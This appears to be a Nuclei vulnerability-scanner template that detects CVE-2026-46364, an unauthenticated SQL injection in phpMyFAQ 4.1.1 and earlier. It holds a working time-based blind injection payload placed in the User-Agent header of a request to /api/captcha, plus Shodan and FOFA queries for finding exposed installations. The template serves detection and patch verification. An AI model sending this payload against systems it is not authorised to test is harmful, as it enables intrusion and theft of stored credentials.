phpMyFAQ <= 4.1.1 - SQL Injection

id: CVE-2026-46364

info:
  name: phpMyFAQ <= 4.1.1 - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
  impact: |
    Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
  remediation: |
    Upgrade phpMyFAQ to version 4.1.2 or later.
  reference:
    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w
    - https://www.phpmyfaq.de
    - http://nvd.nist.gov/vuln/detail/CVE-2026-46364
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
    epss-score: 0.0212
    epss-percentile: 0.81558
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1194891278
    fofa-query: app="phpMyFAQ"
  tags: cve,cve2026,sqli,phpmyfaq

http:
  - raw:
      - |
        @timeout: 20s
        GET /api/captcha HTTP/1.1
        Host: {{Hostname}}
        User-Agent: x' OR SLEEP(8) OR 'x

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "Truncated incorrect DOUBLE")'
        condition: and
# digest: 4a0a00473045022100ed77734db7f25516feb135a37b041821b9a6ca69e7736932442767670dab5fb7022032afa127af95d0d137e4dd9cba7ee86d22e72b9b43ff8695556743ce646d4d4f:922c64590222798bb761d5b6d8e72950